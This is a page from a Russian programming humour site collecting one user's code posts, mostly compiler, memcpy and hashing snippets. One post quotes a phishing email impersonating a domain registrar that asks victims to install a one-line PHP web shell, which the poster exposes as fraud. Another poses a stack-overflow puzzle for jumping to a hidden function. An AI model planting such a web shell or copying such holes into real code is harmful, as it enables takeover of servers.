      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      #include <http://govnokod.ru/21585>
      
      // assembly output for f1_signed and f2_signed on GCC 7,6,5 ... versions are same
      
      signed char f1_signed(signed char a1, signed char a2, signed char a3)
      {
        return MAXS(a1,a2,a3,a1,a2,a3);
      }
      
      signed char f2_signed(signed char a1, signed char a2, signed char a3)
      {
        return MAXS(a1,a2,a3);
      }
      
      // assembly output for f1_unsigned and f2_unsigned on GCC 7,6,5 ... versions are differend
      // GCC compiler can't do same simplification for unsigned function
      
      // This function produces much more assembler code than second
      unsigned char f1_unsigned(unsigned char a1, unsigned char a2, unsigned char a3)
      {
        return MAXS(a1,a2,a3,a1,a2,a3);
      }
      
      unsigned char f2_unsigned(unsigned char a1, unsigned char a2, unsigned char a3)
      {
        return MAXS(a1,a2,a3);
      }

      https://gcc.gnu.org/bugzilla/show_bug.cgi?id=80574

      Очередной мой багрепорт в GCC. Компилятор GCC может заоптимизировать повторяющуйся в MAXS хрень для signed char, но не может для unsigned
      А вот Clang не может заоптимизировать ни то, ни другое. https://godbolt.org/g/7Kt9X0

      j123123, 30 Апреля 2017

      Комментарии (100)
    10. Си / Говнокод #22875

      −11

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      void *memcpy(void *__dest, __const void *__src, size_t __n)
      {
              int i = 0;
              unsigned char *d = (unsigned char *)__dest, *s = (unsigned char *)__src;
      
              for (i = __n >> 3; i > 0; i--) {
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
              }
      
              if (__n & 1 << 2) {
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
                      *d++ = *s++;
              }
      
              if (__n & 1 << 1) {
                      *d++ = *s++;
                      *d++ = *s++;
              }
      
              if (__n & 1)
                      *d++ = *s++;
      
              return __dest;
      }

      Царский анролл в memcpy, прямиком из ядра Linux

      http://lxr.free-electrons.com/source/arch/arm/boot/compressed/string.c

      j123123, 30 Апреля 2017

      Комментарии (41)

 

  1. JavaScript / Говнокод #22860

    −11

    1. 1
    https://habrahabr.ru/post/322052/

    Лямбда-исчисление на JavaScript

    j123123, 27 Апреля 2017

    Комментарии (21)
  2. Си / Говнокод #22854

    −16

    1. 1
    https://foxford.ru/wiki/informatika/tipy-tselyh-chisel-yazyka-s

    Вот такая хуйня получается, когда учебные материалы по Си пишут те, которые сами нихуя не знают Си и не читали Священный Драфт Стандарта. Сколько хуйни по ссылке вы можете найти?
    spoiler: https://habrahabr.ru/post/156593/

    j123123, 26 Апреля 2017

    Комментарии (31)
  3. C++ / Говнокод #22815

    −11

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #if HAVE(MERGESORT)
        if (isSortingPrimitiveValues)
            qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
        else
            mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    #else
        // FIXME: The qsort library function is likely to not be a stable sort.
        // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    #endif

    Из какой-то древней версии Webkit. Про устойчивость сортировки. Ну типа вот хоть в ECMAScript-262 нихрена не написано про то, что сортировка должна быть устойчивой, мы сделаем ее устойчивой потому что так принято (а то сломаем еще ненароком чей-то говнокод на JS)

    вот еще
    https://bugs.chromium.org/p/v8/issues/detail?id=90
    https://habrahabr.ru/post/303748/

    j123123, 15 Апреля 2017

    Комментарии (15)
  4. Си / Говнокод #22794

    −50

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #include <stdio.h>
    
    void *labels[3];
    
    void test(void *ptr)
    {
        if(ptr == NULL)
        {
          labels[0] = &&l1;
          labels[1] = &&l2;
          labels[2] = &&l3;
          return;
        }
        goto *ptr;
    l1:
        printf("test1\n");
        return;
    l2:
        printf("test2\n");
        return;
    l3:
        printf("test3\n");
        return;
    }
    
    int main(void)
    {
       test(NULL);
       test(labels[0]);
       test(labels[1]);
       test(labels[2]);
    }

    Вот если б можно было делать метки указателей внутри функций видимыми извне, такой фигни б не было

    j123123, 11 Апреля 2017

    Комментарии (84)
  5. C++ / Говнокод #22769

    −14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    #include "string.hpp"
    #include "execute.hpp"
    
    #include <iostream>
    
    using code = decltype(
        "push ebx "
        "pop eax "
        "exit"_s);
    constexpr auto ret_val = cai::execute_code<code>;
    
    int main()
    {
        std::cout << std::hex << ret_val;
        return 0;
    }

    cai::execute_code will parse, tokenize, execute code and return value from eax register. Startup ebx value is 0xbada55. Above program will push ebx to stack and pop from stack to eax. So eax will eventually contain 0xbada55.

    https://github.com/stryku/ctai compile time assembly interpreter

    j123123, 10 Апреля 2017

    Комментарии (25)
  6. C++ / Говнокод #22714

    −16

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    void subBytes(uint8_t* block, size_t count) {
    	for (int i = 0; i < count; i++) {
    		size_t x, y;
    		char *temp = new char[2];
    		sprintf(temp, "%02x", block[i]);
    		temp = new char[4]{ temp[0], 0x00, temp[1], 0x00 };
    		x = stoi(temp, 0, 16);
    		y = stoi(temp + 2, 0, 16);
    		block[i] = sBox[x][y];
    		delete[] temp;
    	}
    
    }
    void invSubBytes(uint8_t* block, size_t count) {
    	for (int i = 0; i < count; i += 1) {
    		size_t x, y;
    		char *temp = new char[4];
    		sprintf(temp, "%02x", block[i]);
    		temp = new char[4]{ temp[0], 0x00, temp[1], 0x00 };
    		x = stoi(temp, 0, 16);
    		y = stoi(temp + 2, 0, 16);
    		block[i] = invSbox[x][y];
    		delete[] temp;
    	}
    }

    https://github.com/VenkuSkirata/MyAES/blob/5f9161551f1a743c7ca6b0ebdf492904cc097d8d/AES.cpp#L123-L147

    Тут один человек просил покритиковать его код, нувыпонели

    j123123, 31 Марта 2017

    Комментарии (27)
  7. C++ / Говнокод #22687

    −124

    1. 1
    2. 2
    Открытая встреча Национальной рабочей группы по стандартизации C++.
    https://youtu.be/FcCymlVAtP8?t=3622

    Я тут вам немного ПОКУШАТЬ ПРИНЕС
    Они там с этими constespr похоже окончательно двинулись.
    Давайте мне constexpr-асмовставки cкорей, и чтоб с гомоиконностью

    j123123, 28 Марта 2017

    Комментарии (34)
  8. Си / Говнокод #22651

    −18

    1. 1
    https://aww.moe/0fmynm.mp4

    Интересно, зачем он там редактирует выхлоп из hex-rays (32 секунда)? Исходники потеряли?

    j123123, 21 Марта 2017

    Комментарии (26)
  9. C# / Говнокод #22572

    −23

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    internal unsafe static void Memcpy(byte* dest, byte* src, int len) {
                Contract.Assert(len >= 0, "Negative length in memcopy!");
    
                //
                // This is portable version of memcpy. It mirrors what the hand optimized assembly versions of memcpy typically do.
                //
                // Ideally, we would just use the cpblk IL instruction here. Unfortunately, cpblk IL instruction is not as efficient as
                // possible yet and so we have this implementation here for now.
                //
    
                switch (len)
                {
                case 0:
                    return;
                case 1:
                    *dest = *src;
                    return;
                case 2:
                    *(short *)dest = *(short *)src;
                    return;
                case 3:
                    *(short *)dest = *(short *)src;
                    *(dest + 2) = *(src + 2);
                    return;
                case 4:
                    *(int *)dest = *(int *)src;
                    return;
                case 5:
                    *(int*)dest = *(int*)src;
                    *(dest + 4) = *(src + 4);
                    return;
                case 6:
                    *(int*)dest = *(int*)src;
                    *(short*)(dest + 4) = *(short*)(src + 4);
                    return;
                case 7:
                    *(int*)dest = *(int*)src;
                    *(short*)(dest + 4) = *(short*)(src + 4);
                    *(dest + 6) = *(src + 6);
                    return;
                case 8:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    return;
                case 9:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    *(dest + 8) = *(src + 8);
                    return;
                case 10:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    *(short*)(dest + 8) = *(short*)(src + 8);
                    return;
                case 11:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    *(short*)(dest + 8) = *(short*)(src + 8);
                    *(dest + 10) = *(src + 10);
                    return;
                case 12:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    *(int*)(dest + 8) = *(int*)(src + 8);
                    return;
    case 13:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;
                    *(int*)(dest + 4) = *(int*)(src + 4);
    #endif
                    *(int*)(dest + 8) = *(int*)(src + 8);
                    *(dest + 12) = *(src + 12);
                    return;
                case 14:
    #if WIN64
                    *(long*)dest = *(long*)src;
    #else
                    *(int*)dest = *(int*)src;

    https://github.com/Microsoft/referencesource/blob/9da503f9ef21e8d1f2905c78d4e3e5cbb3d6f85a/mscorlib/system/buffer.cs#L266


    Memcpy из Microsoft .NET Reference Source. Выглядит как типичный код на C

    j123123, 13 Марта 2017

    Комментарии (59)
  10. Куча / Говнокод #22534

    −28

    1. 1
    https://i.kinja-img.com/gawker-media/image/upload/t_original/u0rtkjjphek24lmlvuet.png

    Задание для истинных труЪ-кулхацкеров: даны распечатанные на бумаге исходники ядра с глючащим модулем и конфигурация железа, где это ядро запускается. Написать карандашом на листочке, как будет выглядеть кернелпаник
    На самом деле - кадр из сериала Mr. Robot

    https://www.youtube.com/watch?v=FQM5fU7V-MM еще там был прикольный диалог на тему Gnome KDE (странно что там он не спросил, как KDE2 под FreeBSD запатчить). И да, вот че он сразу про линукс заговорил, ведь кеды и гном и на бзд бывают? Явный косяк

    j123123, 10 Марта 2017

    Комментарии (3)
     
     
    1. Куча / Говнокод #22494

      −15

      1. 1
      https://i.imgur.com/gqky9Fb.jpg

      Для путинских кремлеботов надо бы запилить вореционный генератор какой-нибудь, ну или хотя бы синонимайзер прикрутить, чтоб его прогонять через тексты, написанные копирайтерами-мудаками. А то слишком палевно

      j123123, 04 Марта 2017

      Комментарии (56)
    2. C++ / Говнокод #22483

      −12

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      #include "basic.hpp"
      
      
      int main()
      {
        _10: DIM F(10);
        _11: LET I = 0;
        _12: LET J = 0;
        _13: LET TMP = 0;
        _20: FOR I = 1 TO 10;
        _30: F(I) = RND();
        _35: PRINT F(I);
        _40: NEXT
        _50: FOR I = 1 TO 9;
        _60: FOR J = I + 1 TO 10;
        _70: IF F(J) > F(I) THEN GOTO _110;
        _80: TMP = F(I);
        _90: F(I) = F(J);
        _100: F(J) = TMP;
        _110: NEXT;
        _120: NEXT;
        _130: PRINT "reordered";
        _140: FOR I = 1 TO 10;
        _150: PRINT F(I);
        _160: NEXT
      }

      https://github.com/rollbear/basicpp/blob/master/examples/05.bubblesort.cpp бейсик на плюсах через гомоик плюсошаблоны и прочую плюсопитушню

      https://github.com/rollbear/basicpp/blob/master/basic.hpp

      j123123, 03 Марта 2017

      Комментарии (3)
    3. Си / Говнокод #22448

      −13

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      44. 44
      45. 45
      46. 46
      47. 47
      48. 48
      49. 49
      50. 50
      51. 51
      52. 52
      53. 53
      54. 54
      55. 55
      56. 56
      57. 57
      58. 58
      59. 59
      60. 60
      61. 61
      62. 62
      63. 63
      64. 64
      65. 65
      66. 66
      67. 67
      68. 68
      69. 69
      70. 70
      71. 71
      72. 72
      73. 73
      74. 74
      75. 75
      76. 76
      77. 77
      78. 78
      79. 79
      80. 80
      81. 81
      82. 82
      83. 83
      84. 84
      85. 85
      86. 86
      87. 87
      88. 88
      89. 89
      #include <stdio.h>
      #include <stdlib.h>
      #include <stdint.h> 
      
      void secret(void) __attribute__ ((used,noinline,noreturn));
      void brainfuck(void) __attribute__ ((noinline));
      int main(void);
      
      void secret(void)
      {
        printf ("You win!\n");
        exit(0);
      }
      
      char *bfprog = "+++---";
      
      void brainfuck(void)
      {
          char *bfprog_p = bfprog;
          unsigned long long i;
          unsigned char arr[500] = {0};
          arr[499] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffffff00 ) >> 8*0;
          arr[0]   = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffff00ff ) >> 8*1;
          arr[498] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xff00ffff ) >> 8*2;
          arr[1]   = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0x00ffffff ) >> 8*3;
          unsigned char *arr_p = &arr[249];                  
          for (i = 0;; i++)
          {
              switch (*bfprog_p)
              {
                  case '>':
                      arr_p++;
                      break;
                  case '<':
                      arr_p--;
                      break;
                  case '+':
                      (*arr_p)++;
                      break;
                  case '-':
                      (*arr_p)--;
                      break; 
      /*           case '.':
                      putchar(*arr_p);
                      break;
                  case ',':
                      *arr_p = getchar();
                      break;                   нинужно*/
                  case '[':
                      if (*arr_p == 0 )
                      {
                          unsigned long long bracketcount = 0;
                          do
                          {
                            if (*bfprog_p == '[')
                                bracketcount++;
                            else if (*bfprog_p == ']')
                                bracketcount--;
                            bfprog_p++;
                          } while (bracketcount != 0);
                          bfprog_p-=1;
                      }
                      break;
                  case ']': 
                      if (*arr_p != 0 )
                      {
                          unsigned long long bracketcount = 0;
                          do
                          {
                            if (*bfprog_p == ']')
                                bracketcount++;
                            else if (*bfprog_p == '[')
                                bracketcount--;
                            bfprog_p--;
                          } while (bracketcount != 0);
                      }
                      break;
                  default: return;
              }
              bfprog_p++;
          }
          return;
      }
      
      int main(void)
      {
          brainfuck();
          return 0;
      }

      Задача - подставить в char *bfprog такую строку, чтобы запустилась функция secret(). Менять что-либо еще в коде запрешено. Платформа - 32битные интели, компилятор - гцц. ОС - линукс или виндовс, на ваше усмотрение (хотя разницы по-идее не будет). Предполагаем, что тут применяется особо расширенный и улучшенный ASLR который при каждом запуске перетасовывает размещение функций, и secret от main находится на хуй знает каком расстоянии. Победившему - нихуя

      j123123, 27 Февраля 2017

      Комментарии (16)
    4. PHP / Говнокод #22283

      −36

      1. 1
      https://pbs.twimg.com/media/C3G3jT_WYAAboKL.jpg:large

      BMW работает на php. Не покупайте BMW.

      j123123, 06 Февраля 2017

      Комментарии (22)
    5. C# / Говнокод #22105

      −17

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      https://github.com/saniv/text/blob/master/one-life-in-russia.md - Золотце
      
      После пары собеседований, меня приняли в компанию "Devino Telecom",
      занимающуюся e-mail и SMS рассылками, у них было собственное
      программное решение, состоящее из нескольких сервисов, написанных
      на разных языках, в числе которых C#, Java и PHP, в качестве базы
      анных поменялась MSSQL, но были oracle, mysql и различные nosql
      key-value базы. Моей начальной задачей стала поддержка техподдержки,
      устранение неисправностей и багов в C# сервисах. Затем создание
      одуля для интеграции с сервисами сторонней компании. И наконец
      перевод "legacy" PHP сервиса в C#. С задачей я формально справился,
      однако при больших объемах рассылок производительность старого PHP
      сервиса превосходила C#, по причине таких факторов как shared-nothing
      архитектура PHP высвобождающая все ресурсы после отправки блока
      сообщений, использование оптимизированных библиотек (в их числе
      библиотека bzip2 компрессии), написанных на C/C++ (в то время как
      для C# версии мне сказали применять грубо слабанные хоббистами C#
      версии библиотек), а так же использование PHP компактного формата
      utf8 для хранения строк, в то время как C# применял utf16.
      Использовать в C# utf8 невозможно, поскольку все библиотеки,
      включая http генераторы, ожидают utf16. Хуже всего было
      автоматическое управление памятью, ничего не знавшее о том как
      несколько запущенных параллельно процессов сервиса будут
      использовать память, а посему иногда отдавая всю память одному
      сервису, тогда как остальные сервисы падали с ошибками, теряя
      сообщения, а следовательно и деньги клиентов.

      Шел 2014 год, примерно в это время Россия начала войну с Украиной, а я попал в опалу, после попытки донести до фанатично преданного C# коллектива, что C# имеет слабые стороны и есть случаи, когда решение на языке PHP лучше справляется с задачей и что PHP сервис заслуживает шанс на жизнь, ибо его невыгодно переводить на C#, только из-за того, что PHP кажется кому-то некрасивым языком. Через несколько дней меня попросили написать заявление об увольнении. Скорее всего тут сказалось несколько факторов: я не смог донести до коллектива свой аргумент; менеджер не хотел держать такого спорного индивида как я; мой отказ сдавать деньги на всякие праздники, вплоть до дня рождения кошки дочери тимлида (я считаю такую практику советской системой поборов). На собеседованиях в другие компании меня спрашивали о причинах уволнения с предыдущей работы и узнав, что я - русофоб, без раздумий отказывали в приеме на работу. Что совершенно логично, ибо мало какой сотруднице HR понравится критика своей нации, да я и не смог бы ужиться в русском коллективе, а зная нрав русских, меня могли бы просто спустить с лестницы, или подставить по работе, добившись иначе моего увольнения.

      j123123, 02 Февраля 2017

      Комментарии (27)
    6. Си / Говнокод #22090

      −47

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      44. 44
      45. 45
      46. 46
      47. 47
      48. 48
      49. 49
      50. 50
      51. 51
      52. 52
      53. 53
      54. 54
      55. 55
      56. 56
      57. 57
      58. 58
      59. 59
      60. 60
      61. 61
      62. 62
      63. 63
      64. 64
      65. 65
      66. 66
      67. 67
      68. 68
      69. 69
      70. 70
      71. 71
      72. 72
      73. 73
      74. 74
      75. 75
      76. 76
      77. 77
      78. 78
      79. 79
      80. 80
      static void SHA256_Transform(SHA256_CTX* context, const sha2_word32* data) {
      	sha2_word32	a, b, c, d, e, f, g, h, s0, s1;
      	sha2_word32	T1, T2, *W256;
      	int		j;
      
      	W256 = (sha2_word32*)context->buffer;
      
      	/* Initialize registers with the prev. intermediate value */
      	// а с какого такого хуя вы решили, что компилятор непременно сунет это в регистры? Массивы для кого сделали?
      	// хотя это еще можно понять, есть вероятность, что компилятор так лучше соптимизирует (но далеко не факт)
      	a = context->state[0];
      	b = context->state[1];
      	c = context->state[2];
      	d = context->state[3];
      	e = context->state[4];
      	f = context->state[5];
      	g = context->state[6];
      	h = context->state[7];
      
      	j = 0;
      	do {
      #if BYTE_ORDER == LITTLE_ENDIAN
      		/* Copy data while converting to host byte order */
      		REVERSE32(*data++,W256[j]);
      		/* Apply the SHA-256 compression function to update a..h */
      		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + W256[j];
      #else /* BYTE_ORDER == LITTLE_ENDIAN */
      		/* Apply the SHA-256 compression function to update a..h with copy */
      		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + (W256[j] = *data++);
      #endif /* BYTE_ORDER == LITTLE_ENDIAN */
      		T2 = Sigma0_256(a) + Maj(a, b, c);
      		h = g;
      		g = f;
      		f = e;
      		e = d + T1;
      		d = c;
      		c = b;
      		b = a;
      		a = T1 + T2;
      
      		j++;
      	} while (j < 16);
      
      	do {
      		/* Part of the message block expansion: */
      		s0 = W256[(j+1)&0x0f];
      		s0 = sigma0_256(s0);
      		s1 = W256[(j+14)&0x0f];	
      		s1 = sigma1_256(s1);
      
      		/* Apply the SHA-256 compression function to update a..h */
      		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + 
      		     (W256[j&0x0f] += s1 + W256[(j+9)&0x0f] + s0);
      		T2 = Sigma0_256(a) + Maj(a, b, c);
      		h = g;
      		g = f;
      		f = e;
      		e = d + T1;
      		d = c;
      		c = b;
      		b = a;
      		a = T1 + T2;
      
      		j++;
      	} while (j < 64);
      
      	/* Compute the current intermediate hash value */
      	context->state[0] += a;
      	context->state[1] += b;
      	context->state[2] += c;
      	context->state[3] += d;
      	context->state[4] += e;
      	context->state[5] += f;
      	context->state[6] += g;
      	context->state[7] += h;
      
      	/* Clean up */
      	a = b = c = d = e = f = g = h = T1 = T2 = 0; //  А вот это уже полная хуйня
      	//вы правда думаете, что компилятор не выкинет это нахуй?
      }

      SHA2 питушня, скачать можно например тут http://sources.freebsd.org/RELENG_8/src/sys/crypto/sha2/sha2.c

      В общем если вам важно, чтобы некая хуйня была непременно в регистрах, и чтобы потом эта хуйня непременно была почищена, единственный надежный способ - херачить код на ассемблере (или вообще в машинных кодах)

      j123123, 30 Января 2017

      Комментарии (53)
    7. PHP / Говнокод #21954

      −31

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      Уважаемый клиент!
      
      В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
      что фактическое управление доменом ******* осуществляется лицом,
      указанным в качестве его администратора.
      
      Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
      создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
      содержимым:
      
      <?php
      assert(stripslashes($_REQUEST[RUCENTER]));
      ?>
      
      Файл должен быть создан в течение трех рабочих дней с момента получения
      настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
      (UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
      
      Обращаем Ваше внимание на то, что если процедура подтверждения не будет
      пройдена, делегирование домена будет приостановлено.
      
      © АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
      8 800 775-29-99, 8 800 250-27-99,
      +7 495 994-46-01
      
      Вы подписались на рассылку в настройках уведомлений.
      Отписаться от рассылки

      Мошеннические письма под видом писем от RU-CENTER

      интересно, почему не eval() ?

      j123123, 07 Января 2017

      Комментарии (131)
    8. Си / Говнокод #21932

      −47

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      #include <stdio.h>
      #include <string.h>
      #include <stdint.h>
      #include <sys/mman.h>
      
      typedef intptr_t binaryfunc(intptr_t, intptr_t);
      typedef intptr_t unaryfunc(intptr_t);
      
      #define evalsiz ((intptr_t)eval_end - (intptr_t)eval)
      #define clossiz (evalsiz+sizeof(intptr_t)+sizeof(int))
      void eval_end();
      intptr_t eval(intptr_t rem) {
      #define argsize ((intptr_t)&&argend - (intptr_t)eval)
      #define leasize ((intptr_t)&&leaaft - (intptr_t)&&leabef)
      #define eoffset (argsize+leasize)
          argend:;
          register void *ptr asm("r10");
          leabef: asm("lea (%rip),%r10"); leaaft:;
          void *off = (ptr - eoffset + evalsiz);
          binaryfunc *bin = *(binaryfunc**)off;
          return bin(*(intptr_t *)(off+sizeof(intptr_t)),rem);
      }
      void eval_end() { }
      
      unaryfunc* apply(binaryfunc *bin, intptr_t arg) {
          void *data = mmap(0, clossiz, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
          memmove(data, &eval, evalsiz);
          intptr_t ptr = (intptr_t)bin;
          memmove(data+evalsiz, &ptr, sizeof(intptr_t));
          memmove(data+evalsiz+sizeof(intptr_t), &arg, sizeof(intptr_t));
          return data;
      }
      
      intptr_t add(intptr_t a, intptr_t b) {
          return a+b;
      }
      
      int main() {
          printf("%ld\n", apply(add, 1)(2));
          return 0;
      }

      Simple x86_64 closure implementation attempt

      https://gist.github.com/iamtakingiteasy/c80112437ebc1f8d73eecf8df27caa24

      j123123, 01 Января 2017

      Комментарии (5)
    9. JavaScript / Говнокод #21806

      −44

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      гыы gop сука нетрулио, lt нах
      
      куку йопта law() {
          вилкойвглаз(gop эквалио нетрулио) {
              ксива.малява("Я и правда язык") нах
              gop сука трулио нах
          }  иливжопураз {
              gop сука трулио нах
              потрещим(semki чоблясука трулио) {
                  lt сука ксива.вычислитьЛохаПоНомеру("list") нах
                  ебало.шухер("Привет, йопта") нах
              }
          }
      }

      https://yopta.space/

      j123123, 09 Декабря 2016

      Комментарии (6)
    10. Си / Говнокод #21642

      −25

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      44. 44
      45. 45
      46. 46
      47. 47
      48. 48
      49. 49
      50. 50
      51. 51
      52. 52
      53. 53
      54. 54
      55. 55
      56. 56
      57. 57
      /**
        * Сортирует массив, используя рекурсивную сортировку слиянием
        * up - указатель на массив, который нужно сортировать
        * down - указатель на массив с, как минимум, таким же размером как у 'up', используется как буфер
        * left - левая граница массива, передайте 0, чтобы сортировать массив с начала
        * right - правая граница массива, передайте длину массива - 1, чтобы сортировать массив до последнего элемента
        * возвращает: указатель на отсортированный массив. Из-за особенностей работы данной реализации
        * отсортированная версия массива может оказаться либо в 'up', либо в 'down' // <--- ГОВНО
        **/
      int* merge_sort(int *up, int *down, unsigned int left, unsigned int right)
      {
          if (left == right)
          {
              down[left] = up[left];
              return down;
          }
      
          unsigned int middle = (unsigned int)((left + right) * 0.5); // <--- ГОВНО, нахуй сюда плавучих питухов пихать?
